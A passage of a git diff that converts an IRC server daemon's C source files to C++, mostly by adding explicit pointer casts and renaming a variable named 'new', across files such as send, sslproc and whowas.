RB_DLINK_FOREACH_SAFE(ptr, next_ptr, resv_conf_list.head) { - aconf = ptr->data; + aconf = (ConfItem *)ptr->data; /* temporary resv */ if(aconf->hold) @@ -153,7 +153,7 @@ clear_s_newconf_bans(void) struct remote_conf * make_remote_conf(void) { - struct remote_conf *remote_p = rb_malloc(sizeof(struct remote_conf)); + struct remote_conf *remote_p = (remote_conf *)rb_malloc(sizeof(struct remote_conf)); return remote_p; } @@ -179,7 +179,7 @@ find_shared_conf(const char *username, const char *host, RB_DLINK_FOREACH(ptr, shared_conf_list.head) { - shared_p = ptr->data; + shared_p = (remote_conf *)ptr->data; if(match(shared_p->username, username) && match(shared_p->host, host) && @@ -229,7 +229,7 @@ cluster_generic(struct Client *source_p, const char *command, RB_DLINK_FOREACH(ptr, cluster_conf_list.head) { - shared_p = ptr->data; + shared_p = (remote_conf *)ptr->data; if(!(shared_p->flags & cltype)) continue; @@ -246,7 +246,7 @@ cluster_generic(struct Client *source_p, const char *command, struct oper_conf * make_oper_conf(void) { - struct oper_conf *oper_p = rb_malloc(sizeof(struct oper_conf)); + struct oper_conf *oper_p = (oper_conf *)rb_malloc(sizeof(struct oper_conf)); return oper_p; } @@ -291,7 +291,7 @@ find_oper_conf(const char *username, const char *host, const char *locip, const RB_DLINK_FOREACH(ptr, oper_conf_list.head) { - oper_p = ptr->data; + oper_p = (oper_conf *)ptr->data; /* name/username doesnt match.. */ if(irccmp(oper_p->name, name) || !match(oper_p->username, username)) @@ -320,7 +320,7 @@ find_oper_conf(const char *username, const char *host, const char *locip, const struct server_conf * make_server_conf(void) { - struct server_conf *server_p = rb_malloc(sizeof(struct server_conf)); + struct server_conf *server_p = (server_conf *)rb_malloc(sizeof(struct server_conf)); SET_SS_FAMILY(&server_p->connect4, AF_UNSPEC); SET_SS_LEN(&server_p->connect4, sizeof(struct sockaddr_in)); @@ -380,7 +380,7 @@ free_server_conf(struct server_conf *server_p) static void conf_connect_dns_callback(const char *result, int status, int aftype, void *data) { - struct server_conf *server_p = data; + struct server_conf *server_p = (server_conf *)data; if(aftype == AF_INET) { @@ -413,7 +413,7 @@ conf_connect_dns_callback(const char *result, int status, int aftype, void *data static void conf_bind_dns_callback(const char *result, int status, int aftype, void *data) { - struct server_conf *server_p = data; + struct server_conf *server_p = (server_conf *)data; if(aftype == AF_INET) { @@ -483,7 +483,7 @@ find_server_conf(const char *name) RB_DLINK_FOREACH(ptr, server_conf_list.head) { - server_p = ptr->data; + server_p = (server_conf *)ptr->data; if(ServerConfIllegal(server_p)) continue; @@ -583,7 +583,7 @@ find_xline(const char *gecos, int counter) RB_DLINK_FOREACH(ptr, xline_conf_list.head) { - aconf = ptr->data; + aconf = (ConfItem *)ptr->data; if(match_esc(aconf->host, gecos)) { @@ -604,7 +604,7 @@ find_xline_mask(const char *gecos) RB_DLINK_FOREACH(ptr, xline_conf_list.head) { - aconf = ptr->data; + aconf = (ConfItem *)ptr->data; if(!irccmp(aconf->host, gecos)) return aconf; @@ -621,7 +621,7 @@ find_nick_resv(const char *name) RB_DLINK_FOREACH(ptr, resv_conf_list.head) { - aconf = ptr->data; + aconf = (ConfItem *)ptr->data; if(match_esc(aconf->host, name)) { @@ -641,7 +641,7 @@ find_nick_resv_mask(const char *name) RB_DLINK_FOREACH(ptr, resv_conf_list.head) { - aconf = ptr->data; + aconf = (ConfItem *)ptr->data; if(!irccmp(aconf->host, name)) return aconf; @@ -759,8 +759,11 @@ expire_temp_rxlines(void *unused) rb_dlink_node *next_ptr; rb_radixtree_iteration_state state; - RB_RADIXTREE_FOREACH(aconf, &state, resv_tree) + void *elem; + RB_RADIXTREE_FOREACH(elem, &state, resv_tree) { + aconf = (ConfItem *)elem; + if(aconf->lifetime != 0) continue; if(aconf->hold && aconf->hold <= rb_current_time()) @@ -777,7 +780,7 @@ expire_temp_rxlines(void *unused) RB_DLINK_FOREACH_SAFE(ptr, next_ptr, resv_conf_list.head) { - aconf = ptr->data; + aconf = (ConfItem *)ptr->data; if(aconf->lifetime != 0) continue; @@ -794,7 +797,7 @@ expire_temp_rxlines(void *unused) RB_DLINK_FOREACH_SAFE(ptr, next_ptr, xline_conf_list.head) { - aconf = ptr->data; + aconf = (ConfItem *)ptr->data; if(aconf->lifetime != 0) continue; @@ -824,7 +827,7 @@ add_nd_entry(const char *name) if(rb_dictionary_find(nd_dict, name) != NULL) return; - nd = rb_bh_alloc(nd_heap); + nd = (nd_entry *)rb_bh_alloc(nd_heap); rb_strlcpy(nd->name, name, sizeof(nd->name)); nd->expire = rb_current_time() + ConfigFileEntry.nick_delay; @@ -853,7 +856,7 @@ expire_nd_entries(void *unused) RB_DLINK_FOREACH_SAFE(ptr, next_ptr, nd_list.head) { - nd = ptr->data; + nd = (nd_entry *)ptr->data; /* this list is ordered - we can stop when we hit the first * entry that doesnt expire.. @@ -874,7 +877,7 @@ add_tgchange(const char *host) if(find_tgchange(host)) return; - target = rb_malloc(sizeof(tgchange)); + target = (tgchange *)rb_malloc(sizeof(tgchange)); pnode = make_and_lookup(tgchange_tree, host); pnode->data = target; @@ -892,7 +895,7 @@ find_tgchange(const char *host) rb_patricia_node_t *pnode; if((pnode = rb_match_exact_string(tgchange_tree, host))) - return pnode->data; + return (tgchange *)pnode->data; return NULL; } diff --git a/ircd/s_serv.c b/ircd/s_serv.cc similarity index 98% rename from ircd/s_serv.c rename to ircd/s_serv.cc index 132ad581a..3a35567d4 100644 --- a/ircd/s_serv.c +++ b/ircd/s_serv.cc @@ -176,7 +176,7 @@ hunt_server(struct Client *client_p, struct Client *source_p, int wilds; rb_dlink_node *ptr; const char *old; - char *new; + char *new_; /* * Assume it's me, if no server @@ -185,7 +185,7 @@ hunt_server(struct Client *client_p, struct Client *source_p, match(parv[server], me.name) || (strcmp(parv[server], me.id) == 0)) return (HUNTED_ISME); - new = LOCAL_COPY(parv[server]); + new_ = LOCAL_COPY(parv[server]); /* * These are to pickup matches that would cause the following @@ -193,16 +193,16 @@ hunt_server(struct Client *client_p, struct Client *source_p, * non-matching lookups. */ if(MyClient(source_p)) - target_p = find_named_client(new); + target_p = find_named_client(new_); else - target_p = find_client(new); + target_p = find_client(new_); if(target_p) if(target_p->from == source_p->from && !MyConnect(target_p)) target_p = NULL; - collapse(new); - wilds = (strchr(new, '?') || strchr(new, '*')); + collapse(new_); + wilds = (strchr(new_, '?') || strchr(new_, '*')); /* * Again, if there are no wild cards involved in the server @@ -212,9 +212,9 @@ hunt_server(struct Client *client_p, struct Client *source_p, { RB_DLINK_FOREACH(ptr, global_serv_list.head) { - if(match(new, ((struct Client *) (ptr->data))->name)) + if(match(new_, ((struct Client *) (ptr->data))->name)) { - target_p = ptr->data; + target_p = (Client *)ptr->data; break; } } @@ -263,7 +263,7 @@ try_connections(void *unused) RB_DLINK_FOREACH(ptr, server_conf_list.head) { - tmp_p = ptr->data; + tmp_p = (server_conf *)ptr->data; if(ServerConfIllegal(tmp_p) || !ServerConfAutoconn(tmp_p)) continue; @@ -362,7 +362,7 @@ check_server(const char *name, struct Client *client_p) { struct rb_sockaddr_storage client_addr; - tmp_p = ptr->data; + tmp_p = (server_conf *)ptr->data; if(ServerConfIllegal(tmp_p)) continue; @@ -479,7 +479,7 @@ burst_ban(struct Client *client_p) melen = strlen(me.name); RB_DLINK_FOREACH(ptr, prop_bans.head) { - aconf = ptr->data; + aconf = (ConfItem *)ptr->data; /* Skip expired stuff. */ if(aconf->lifetime < rb_current_time()) @@ -549,7 +549,7 @@ burst_modes_TS6(struct Client *client_p, struct Channel *chptr, RB_DLINK_FOREACH(ptr, list->head) { - banptr = ptr->data; + banptr = (Ban *)ptr->data; tlen = strlen(banptr->banstr) + (banptr->forward ? strlen(banptr->forward) + 1 : 0) + 1; @@ -612,7 +612,7 @@ burst_TS6(struct Client *client_p) RB_DLINK_FOREACH(ptr, global_client_list.head) { - target_p = ptr->data; + target_p = (Client *)ptr->data; if(!IsPerson(target_p)) continue; @@ -669,7 +669,7 @@ burst_TS6(struct Client *client_p) RB_DLINK_FOREACH(ptr, global_channel_list.head) { - chptr = ptr->data; + chptr = (Channel *)ptr->data; if(*chptr->chname != '#') continue; @@ -682,7 +682,7 @@ burst_TS6(struct Client *client_p) RB_DLINK_FOREACH(uptr, chptr->members.head) { - msptr = uptr->data; + msptr = (membership *)uptr->data; tlen = strlen(use_id(msptr->client_p)) + 1; if(is_chanop(msptr)) @@ -905,7 +905,7 @@ server_estab(struct Client *client_p) */ RB_DLINK_FOREACH(ptr, serv_list.head) { - target_p = ptr->data; + target_p = (Client *)ptr->data; if(target_p == client_p) continue; @@ -952,7 +952,7 @@ server_estab(struct Client *client_p) */ RB_DLINK_FOREACH(ptr, global_serv_list.head) { - target_p = ptr->data; + target_p = (Client *)ptr->data; /* target_p->from == target_p for target_p == client_p */ if(IsMe(target_p) || target_p->from == client_p) @@ -1160,7 +1160,7 @@ serv_connect(struct server_conf *server_p, struct Client *by) static void serv_connect_ssl_callback(rb_fde_t *F, int status, void *data) { - struct Client *client_p = data; + struct Client *client_p = (Client *)data; rb_fde_t *xF[2]; rb_connect_sockaddr(F, (struct sockaddr *)&client_p->localClient->ip, sizeof(client_p->localClient->ip)); if(status != RB_OK) @@ -1207,7 +1207,7 @@ serv_connect_ssl_open_callback(struct Client *client_p, int status) static void serv_connect_callback(rb_fde_t *F, int status, void *data) { - struct Client *client_p = data; + struct Client *client_p = (Client *)data; struct server_conf *server_p; char *errstr; diff --git a/ircd/s_user.c b/ircd/s_user.cc similarity index 99% rename from ircd/s_user.c rename to ircd/s_user.cc index 610709d22..d4ae3ea7e 100644 --- a/ircd/s_user.c +++ b/ircd/s_user.cc @@ -219,7 +219,7 @@ authd_check(struct Client *client_p, struct Client *source_p) char *blacklist = source_p->preClient->auth.data; if(bl_stats != NULL) - if((stats = rb_dictionary_retrieve(bl_stats, blacklist)) != NULL) + if((stats = (BlacklistStats *)rb_dictionary_retrieve(bl_stats, blacklist)) != NULL) stats->hits++; if(IsExemptKline(source_p) || IsConfExemptDNSBL(aconf)) @@ -1313,7 +1313,7 @@ send_umode_out(struct Client *client_p, struct Client *source_p, int old) RB_DLINK_FOREACH(ptr, serv_list.head) { - target_p = ptr->data; + target_p = (Client *)ptr->data; if((target_p != client_p) && (target_p != source_p) && (*buf)) { @@ -1529,7 +1529,7 @@ change_nick_user_host(struct Client *target_p, const char *nick, const char *use RB_DLINK_FOREACH(ptr, target_p->user->channel.head) { - mscptr = ptr->data; + mscptr = (membership *)ptr->data; chptr = mscptr->chptr; mptr = mode; diff --git a/ircd/scache.c b/ircd/scache.cc similarity index 93% rename from ircd/scache.c rename to ircd/scache.cc index c42edf473..3fe74ba5c 100644 --- a/ircd/scache.c +++ b/ircd/scache.cc @@ -73,7 +73,7 @@ find_or_add(const char *name) { struct scache_entry *ptr; - ptr = rb_radixtree_retrieve(scache_tree, name); + ptr = (scache_entry *)rb_radixtree_retrieve(scache_tree, name); if (ptr != NULL) return ptr; @@ -135,8 +135,11 @@ scache_send_flattened_links(struct Client *source_p) rb_radixtree_iteration_state iter; int show; - RB_RADIXTREE_FOREACH(scache_ptr, &iter, scache_tree) + void *elem; + RB_RADIXTREE_FOREACH(elem, &iter, scache_tree) { + scache_ptr = (scache_entry *)elem; + if (!irccmp(scache_ptr->name, me.name)) show = FALSE; else if (scache_ptr->flags & SC_HIDDEN && @@ -170,8 +173,11 @@ scache_send_missing(struct Client *source_p) struct scache_entry *scache_ptr; rb_radixtree_iteration_state iter; - RB_RADIXTREE_FOREACH(scache_ptr, &iter, scache_tree) + void *elem; + RB_RADIXTREE_FOREACH(elem, &iter, scache_tree) { + scache_ptr = (scache_entry *)elem; + if (!(scache_ptr->flags & SC_ONLINE) && scache_ptr->last_split > rb_current_time() - MISSING_TIMEOUT) sendto_one_numeric(source_p, RPL_MAP, "** %s (recently split)", scache_ptr->name); @@ -194,8 +200,11 @@ count_scache(size_t * number_servers_cached, size_t * mem_servers_cached) *number_servers_cached = 0; *mem_servers_cached = 0; - RB_RADIXTREE_FOREACH(scache_ptr, &iter, scache_tree) + void *elem; + RB_RADIXTREE_FOREACH(elem, &iter, scache_tree) { + scache_ptr = (scache_entry *)elem; + *number_servers_cached = *number_servers_cached + 1; *mem_servers_cached = *mem_servers_cached + sizeof(struct scache_entry); diff --git a/ircd/send.c b/ircd/send.cc similarity index 97% rename from ircd/send.c rename to ircd/send.cc index ce36b3a7a..619d2194a 100644 --- a/ircd/send.c +++ b/ircd/send.cc @@ -201,7 +201,7 @@ send_pop_queue(struct Client *to) static void send_queued_write(rb_fde_t *F, void *data) { - struct Client *to = data; + struct Client *to = (Client *)data; ClearFlush(to); send_queued(to); } @@ -464,7 +464,7 @@ sendto_server(struct Client *one, struct Channel *chptr, unsigned long caps, RB_DLINK_FOREACH_SAFE(ptr, next_ptr, serv_list.head) { - target_p = ptr->data; + target_p = (Client *)ptr->data; /* check against 'one' */ if(one != NULL && (target_p == one->from)) @@ -521,7 +521,7 @@ sendto_channel_flags(struct Client *one, int type, struct Client *source_p, RB_DLINK_FOREACH_SAFE(ptr, next_ptr, chptr->members.head) { - msptr = ptr->data; + msptr = (membership *)ptr->data; target_p = msptr->client_p; if(!MyClient(source_p) && (IsIOError(target_p->from) || target_p->from == one)) @@ -621,7 +621,7 @@ sendto_channel_opmod(struct Client *one, struct Client *source_p, RB_DLINK_FOREACH_SAFE(ptr, next_ptr, chptr->members.head) { - msptr = ptr->data; + msptr = (membership *)ptr->data; target_p = msptr->client_p; if(!MyClient(source_p) && (IsIOError(target_p->from) || target_p->from == one)) @@ -686,7 +686,7 @@ sendto_channel_local(int type, struct Channel *chptr, const char *pattern, ...) RB_DLINK_FOREACH_SAFE(ptr, next_ptr, chptr->locmembers.head) { - msptr = ptr->data; + msptr = (membership *)ptr->data; target_p = msptr->client_p; if(IsIOError(target_p)) @@ -726,7 +726,7 @@ _sendto_channel_local_with_capability_butone(struct Client *one, int type, int c RB_DLINK_FOREACH_SAFE(ptr, next_ptr, chptr->locmembers.head) { - msptr = ptr->data; + msptr = (membership *)ptr->data; target_p = msptr->client_p; if (target_p == one) @@ -809,7 +809,7 @@ sendto_channel_local_butone(struct Client *one, int type, struct Channel *chptr, RB_DLINK_FOREACH_SAFE(ptr, next_ptr, chptr->locmembers.head) { - msptr = ptr->data; + msptr = (membership *)ptr->data; target_p = msptr->client_p; if(target_p == one) @@ -863,12 +863,12 @@ sendto_common_channels_local(struct Client *user, int cap, int negcap, const cha RB_DLINK_FOREACH_SAFE(ptr, next_ptr, user->user->channel.head) { - mscptr = ptr->data; + mscptr = (membership *)ptr->data; chptr = mscptr->chptr; RB_DLINK_FOREACH_SAFE(uptr, next_uptr, chptr->locmembers.head) { - msptr = uptr->data; + msptr = (membership *)uptr->data; target_p = msptr->client_p; if(IsIOError(target_p) || @@ -928,12 +928,12 @@ sendto_common_channels_local_butone(struct Client *user, int cap, int negcap, co RB_DLINK_FOREACH_SAFE(ptr, next_ptr, user->user->channel.head) { - mscptr = ptr->data; + mscptr = (membership *)ptr->data; chptr = mscptr->chptr; RB_DLINK_FOREACH_SAFE(uptr, next_uptr, chptr->locmembers.head) { - msptr = uptr->data; + msptr = (membership *)uptr->data; target_p = msptr->client_p; if(IsIOError(target_p) || @@ -990,7 +990,7 @@ sendto_match_butone(struct Client *one, struct Client *source_p, { RB_DLINK_FOREACH_SAFE(ptr, next_ptr, lclient_list.head) { - target_p = ptr->data; + target_p = (Client *)ptr->data; if(match(mask, target_p->host)) _send_linebuf(target_p, &rb_linebuf_local); @@ -1001,14 +1001,14 @@ sendto_match_butone(struct Client *one, struct Client *source_p, { RB_DLINK_FOREACH_SAFE(ptr, next_ptr, lclient_list.head) { - target_p = ptr->data; + target_p = (Client *)ptr->data; _send_linebuf(target_p, &rb_linebuf_local); } } RB_DLINK_FOREACH(ptr, serv_list.head) { - target_p = ptr->data; + target_p = (Client *)ptr->data; if(target_p == one) continue; @@ -1052,7 +1052,7 @@ sendto_match_servs(struct Client *source_p, const char *mask, int cap, RB_DLINK_FOREACH(ptr, global_serv_list.head) { - target_p = ptr->data; + target_p = (Client *)ptr->data; /* dont send to ourselves, or back to where it came from.. */ if(IsMe(target_p) || target_p->from == source_p->from) @@ -1103,7 +1103,7 @@ sendto_local_clients_with_capability(int cap, const char *pattern, ...) RB_DLINK_FOREACH(ptr, lclient_list.head) { - target_p = ptr->data; + target_p = (Client *)ptr->data; if(IsIOError(target_p) || !IsCapable(target_p, cap)) continue; @@ -1137,7 +1137,7 @@ sendto_monitor(struct monitor *monptr, const char *pattern, ...) RB_DLINK_FOREACH_SAFE(ptr, next_ptr, monptr->users.head) { - target_p = ptr->data; + target_p = (Client *)ptr->data; if(IsIOError(target_p)) continue; @@ -1251,7 +1251,7 @@ sendto_realops_snomask(int flags, int level, const char *pattern, ...) RB_DLINK_FOREACH_SAFE(ptr, next_ptr, local_oper_list.head) { - client_p = ptr->data; + client_p = (Client *)ptr->data; /* If we're sending it to opers and theyre an admin, skip. * If we're sending it to admins, and theyre not, skip. @@ -1291,7 +1291,7 @@ sendto_realops_snomask_from(int flags, int level, struct Client *source_p, RB_DLINK_FOREACH_SAFE(ptr, next_ptr, local_oper_list.head) { - client_p = ptr->data; + client_p = (Client *)ptr->data; /* If we're sending it to opers and theyre an admin, skip. * If we're sending it to admins, and theyre not, skip. @@ -1340,7 +1340,7 @@ sendto_wallops_flags(int flags, struct Client *source_p, const char *pattern, .. RB_DLINK_FOREACH_SAFE(ptr, next_ptr, IsPerson(source_p) && flags == UMODE_WALLOP ? lclient_list.head : local_oper_list.head) { - client_p = ptr->data; + client_p = (Client *)ptr->data; if(client_p->umodes & flags) _send_linebuf(client_p, &linebuf); @@ -1405,7 +1405,7 @@ kill_client_serv_butone(struct Client *one, struct Client *target_p, const char RB_DLINK_FOREACH_SAFE(ptr, next_ptr, serv_list.head) { - client_p = ptr->data; + client_p = (Client *)ptr->data; /* ok, if the client we're supposed to not send to has an * ID, then we still want to issue the kill there.. diff --git a/ircd/snomask.c b/ircd/snomask.cc similarity index 100% rename from ircd/snomask.c rename to ircd/snomask.cc diff --git a/ircd/sslproc.c b/ircd/sslproc.cc similarity index 94% rename from ircd/sslproc.c rename to ircd/sslproc.cc index 370b2b1a7..144dc3aed 100644 --- a/ircd/sslproc.c +++ b/ircd/sslproc.cc @@ -96,7 +96,7 @@ allocate_ssl_daemon(rb_fde_t * F, rb_fde_t * P, int pid) if(F == NULL || pid < 0) return NULL; - ctl = rb_malloc(sizeof(ssl_ctl_t)); + ctl = (ssl_ctl_t *)rb_malloc(sizeof(ssl_ctl_t)); ctl->F = F; ctl->P = P; ctl->pid = pid; @@ -116,7 +116,7 @@ free_ssl_daemon(ssl_ctl_t * ctl) RB_DLINK_FOREACH(ptr, ctl->readq.head) { - ctl_buf = ptr->data; + ctl_buf = (ssl_ctl_buf_t *)ptr->data; for(x = 0; x < ctl_buf->nfds; x++) rb_close(ctl_buf->F[x]); @@ -126,7 +126,7 @@ free_ssl_daemon(ssl_ctl_t * ctl) RB_DLINK_FOREACH(ptr, ctl->writeq.head) { - ctl_buf = ptr->data; + ctl_buf = (ssl_ctl_buf_t *)ptr->data; for(x = 0; x < ctl_buf->nfds; x++) rb_close(ctl_buf->F[x]); @@ -154,7 +154,7 @@ restart_ssld(void) RB_DLINK_FOREACH_SAFE(ptr, next, ssl_daemons.head) { - ctl = ptr->data; + ctl = (ssl_ctl_t *)ptr->data; if(ctl->dead) continue; if(ctl->shutdown) @@ -181,7 +181,7 @@ ssl_killall(void) ssl_ctl_t *ctl; RB_DLINK_FOREACH_SAFE(ptr, next, ssl_daemons.head) { - ctl = ptr->data; + ctl = (ssl_ctl_t *)ptr->data; if(ctl->dead) continue; ctl->dead = 1; @@ -215,7 +215,7 @@ static void ssl_do_pipe(rb_fde_t * F, void *data) { int retlen; - ssl_ctl_t *ctl = data; + ssl_ctl_t *ctl = (ssl_ctl_t *)data; retlen = rb_write(F, "0", 1); if(retlen == 0 || (retlen < 0 && !rb_ignore_errno(errno))) { @@ -358,7 +358,7 @@ ssl_process_zipstats(ssl_ctl_t * ctl, ssl_ctl_buf_t * ctl_buf) if(server == NULL || server->localClient == NULL || !IsCapable(server, CAP_ZIP)) return; if(server->localClient->zipstats == NULL) - server->localClient->zipstats = rb_malloc(sizeof(struct ZipStats)); + server->localClient->zipstats = (ZipStats *)rb_malloc(sizeof(struct ZipStats)); zips = server->localClient->zipstats; @@ -520,7 +520,7 @@ ssl_process_certfp(ssl_ctl_t * ctl, ssl_ctl_buf_t * ctl_buf) method_len = strlen(method_string); rb_free(client_p->certfp); - certfp_string = rb_malloc(method_len + len * 2 + 1); + certfp_string = (char *)rb_malloc(method_len + len * 2 + 1); rb_strlcpy(certfp_string, method_string, method_len + len * 2 + 1); for(uint32_t i = 0; i < len; i++) snprintf(certfp_string + method_len + 2 * i, 3, "%02x", @@ -542,7 +542,7 @@ ssl_process_cmd_recv(ssl_ctl_t * ctl) RB_DLINK_FOREACH_SAFE(ptr, next, ctl->readq.head) { - ctl_buf = ptr->data; + ctl_buf = (ssl_ctl_buf_t *)ptr->data; switch (*ctl_buf->buf) { case 'N': @@ -600,15 +600,15 @@ static void ssl_read_ctl(rb_fde_t * F, void *data) { ssl_ctl_buf_t *ctl_buf; - ssl_ctl_t *ctl = data; + ssl_ctl_t *ctl = (ssl_ctl_t *)data; int retlen; if(ctl->dead) return; do { - ctl_buf = rb_malloc(sizeof(ssl_ctl_buf_t)); - ctl_buf->buf = rb_malloc(READSIZE); + ctl_buf = (ssl_ctl_buf_t *)rb_malloc(sizeof(ssl_ctl_buf_t)); + ctl_buf->buf = (char *)rb_malloc(READSIZE); retlen = rb_recv_fd_buf(ctl->F, ctl_buf->buf, READSIZE, ctl_buf->F, 4); ctl_buf->buflen = retlen; if(retlen <= 0) @@ -638,7 +638,7 @@ which_ssld(void) RB_DLINK_FOREACH(ptr, ssl_daemons.head) { - ctl = ptr->data; + ctl = (ssl_ctl_t *)ptr->data; if(ctl->dead) continue; if(ctl->shutdown) @@ -657,7 +657,7 @@ which_ssld(void) static void ssl_write_ctl(rb_fde_t * F, void *data) { - ssl_ctl_t *ctl = data; + ssl_ctl_t *ctl = (ssl_ctl_t *)data; ssl_ctl_buf_t *ctl_buf; rb_dlink_node *ptr, *next; int retlen, x; @@ -667,7 +667,7 @@ ssl_write_ctl(rb_fde_t * F, void *data) RB_DLINK_FOREACH_SAFE(ptr, next, ctl->writeq.head) { - ctl_buf = ptr->data; + ctl_buf = (ssl_ctl_buf_t *)ptr->data; /* in theory unix sock_dgram shouldn't ever short write this.. */ retlen = rb_send_fd_buf(ctl->F, ctl_buf->F, ctl_buf->nfds, ctl_buf->buf, ctl_buf->buflen, ctl->pid); if(retlen > 0) @@ -701,8 +701,8 @@ ssl_cmd_write_queue(ssl_ctl_t * ctl, rb_fde_t ** F, int count, const void *buf, if(ctl->dead) return; - ctl_buf = rb_malloc(sizeof(ssl_ctl_buf_t)); - ctl_buf->buf = rb_malloc(buflen); + ctl_buf = (ssl_ctl_buf_t *)rb_malloc(sizeof(ssl_ctl_buf_t)); + ctl_buf->buf = (char *)rb_malloc(buflen); memcpy(ctl_buf->buf, buf, buflen); ctl_buf->buflen = buflen; @@ -780,7 +780,7 @@ ssld_update_config(void) RB_DLINK_FOREACH(ptr, ssl_daemons.head) { - ssl_ctl_t *ctl = ptr->data; + ssl_ctl_t *ctl = (ssl_ctl_t *)ptr->data; if (ctl->dead || ctl->shutdown) continue; @@ -888,21 +888,21 @@ start_zlib_session(void *data) return; } - buf = rb_malloc(len); + buf = (char *)rb_malloc(len); level = ConfigFileEntry.compression_level; uint32_to_buf(&buf[1], rb_get_fd(server->localClient->F)); buf[5] = (char) level; recvq_start = &buf[6]; - server->localClient->zipstats = rb_malloc(sizeof(struct ZipStats)); + server->localClient->zipstats = (ZipStats *)rb_malloc(sizeof(struct ZipStats)); xbuf = recvq_start; left = recvqlen; do { - cpylen = rb_linebuf_get(&server->localClient->buf_recvq, xbuf, left, LINEBUF_PARTIAL, LINEBUF_RAW); + cpylen = rb_linebuf_get(&server->localClient->buf_recvq, (char *)xbuf, left, LINEBUF_PARTIAL, LINEBUF_RAW); left -= cpylen; xbuf = (void *) (((uintptr_t) xbuf) + cpylen); } @@ -952,15 +952,15 @@ collect_zipstats(void *unused) RB_DLINK_FOREACH(ptr, serv_list.head) { - target_p = ptr->data; + target_p = (Client *)ptr->data; if(IsCapable(target_p, CAP_ZIP)) { len = sizeof(uint8_t) + sizeof(uint32_t); id = rb_get_fd(target_p->localClient->F); uint32_to_buf(&buf[1], id); - rb_strlcpy(odata, target_p->name, (sizeof(buf) - len)); - len += strlen(odata) + 1; /* Get the \0 as well */ + rb_strlcpy((char *)odata, target_p->name, (sizeof(buf) - len)); + len += strlen((const char *)odata) + 1; /* Get the \0 as well */ ssl_cmd_write_queue(target_p->localClient->z_ctl, NULL, 0, buf, len); } } @@ -973,7 +973,7 @@ cleanup_dead_ssl(void *unused) ssl_ctl_t *ctl; RB_DLINK_FOREACH_SAFE(ptr, next, ssl_daemons.head) { - ctl = ptr->data; + ctl = (ssl_ctl_t *)ptr->data; if(ctl->dead && !ctl->cli_count) { free_ssl_daemon(ctl); @@ -994,7 +994,7 @@ ssld_foreach_info(void (*func)(void *data, pid_t pid, int cli_count, enum ssld_s ssl_ctl_t *ctl; RB_DLINK_FOREACH_SAFE(ptr, next, ssl_daemons.head) { - ctl = ptr->data; + ctl = (ssl_ctl_t *)ptr->data; func(data, ctl->pid, ctl->cli_count, ctl->dead ? SSLD_DEAD : (ctl->shutdown ? SSLD_SHUTDOWN : SSLD_ACTIVE), diff --git a/ircd/substitution.c b/ircd/substitution.cc similarity index 97% rename from ircd/substitution.c rename to ircd/substitution.cc index 316ed727a..266eaded6 100644 --- a/ircd/substitution.c +++ b/ircd/substitution.cc @@ -58,7 +58,7 @@ struct substitution_variable */ void substitution_append_var(rb_dlink_list *varlist, const char *name, const char *value) { - struct substitution_variable *tmp = rb_malloc(sizeof(struct substitution_variable)); + struct substitution_variable *tmp = (substitution_variable *)rb_malloc(sizeof(struct substitution_variable)); tmp->name = rb_strdup(name); tmp->value = rb_strdup(value); diff --git a/ircd/supported.c b/ircd/supported.cc similarity index 97% rename from ircd/supported.c rename to ircd/supported.cc index 29b447253..1b6113cf0 100644 --- a/ircd/supported.c +++ b/ircd/supported.cc @@ -95,7 +95,7 @@ add_isupport(const char *name, const char *(*func)(const void *), const void *pa { struct isupportitem *item; - item = rb_malloc(sizeof(struct isupportitem)); + item = (isupportitem *)rb_malloc(sizeof(struct isupportitem)); item->name = name; item->func = func; item->param = param; @@ -111,7 +111,7 @@ change_isupport(const char *name, const char *(*func)(const void *), const void RB_DLINK_FOREACH(ptr, isupportlist.head) { - item = ptr->data; + item = (isupportitem *)ptr->data; if (!strcmp(item->name, name)) { @@ -136,7 +136,7 @@ delete_isupport(const char *name) RB_DLINK_FOREACH_SAFE(ptr, next_ptr, isupportlist.head) { - item = ptr->data; + item = (isupportitem *)ptr->data; if (!strcmp(item->name, name)) { @@ -169,7 +169,7 @@ show_isupport(struct Client *client_p) nchars = extra_space, nparams = 0, buf[0] = '\0'; RB_DLINK_FOREACH(ptr, isupportlist.head) { - item = ptr->data; + item = (isupportitem *)ptr->data; value = (*item->func)(item->param); if (value == NULL) continue; @@ -227,7 +227,7 @@ isupport_umode(const void *ptr) { const char *str; - str = ptr; + str = (const char *)ptr; return ConfigFileEntry.oper_only_umodes & user_modes[(unsigned char)*str] ? NULL : str; } diff --git a/ircd/tgchange.c b/ircd/tgchange.cc similarity index 99% rename from ircd/tgchange.c rename to ircd/tgchange.cc index 201847174..5d65830a7 100644 --- a/ircd/tgchange.c +++ b/ircd/tgchange.cc @@ -43,7 +43,7 @@ find_allowing_channel(struct Client *source_p, struct Client *target_p) RB_DLINK_FOREACH(ptr, source_p->user->channel.head) { - msptr = ptr->data; + msptr = (membership *)ptr->data; if (is_chanop_voiced(msptr) && IsMember(target_p, msptr->chptr)) return msptr->chptr; } diff --git a/ircd/version.c b/ircd/version.cc similarity index 98% rename from ircd/version.c rename to ircd/version.cc index 14c99a115..564145fa3 100644 --- a/ircd/version.c +++ b/ircd/version.cc @@ -21,6 +21,7 @@ */ #include +#include const char *ircd_version = RB_VERSION; const char *ircd_datestr = RB_DATESTR; diff --git a/ircd/whowas.c b/ircd/whowas.cc similarity index 92% rename from ircd/whowas.c rename to ircd/whowas.cc index eec2e0e04..60f2b7cb2 100644 --- a/ircd/whowas.c +++ b/ircd/whowas.cc @@ -66,11 +66,11 @@ whowas_get_top(const char *name) { struct whowas_top *wtop; - wtop = rb_radixtree_retrieve(whowas_tree, name); + wtop = (whowas_top *)rb_radixtree_retrieve(whowas_tree, name); if (wtop != NULL) return wtop; - wtop = rb_malloc(sizeof(struct whowas_top)); + wtop = (whowas_top *)rb_malloc(sizeof(struct whowas_top)); wtop->name = rb_strdup(name); rb_radixtree_add(whowas_tree, wtop->name, wtop); @@ -81,7 +81,7 @@ rb_dlink_list * whowas_get_list(const char *name) { struct whowas_top *wtop; - wtop = rb_radixtree_retrieve(whowas_tree, name); + wtop = (whowas_top *)rb_radixtree_retrieve(whowas_tree, name); if(wtop == NULL) return NULL; return &wtop->wwlist; @@ -102,7 +102,7 @@ whowas_add_history(struct Client *client_p, int online) whowas_trim(NULL); wtop = whowas_get_top(client_p->name); - who = rb_malloc(sizeof(struct Whowas)); + who = (Whowas *)rb_malloc(sizeof(struct Whowas)); who->wtop = wtop; who->logoff = rb_current_time(); @@ -138,7 +138,7 @@ whowas_off_history(struct Client *client_p) RB_DLINK_FOREACH_SAFE(ptr, next, 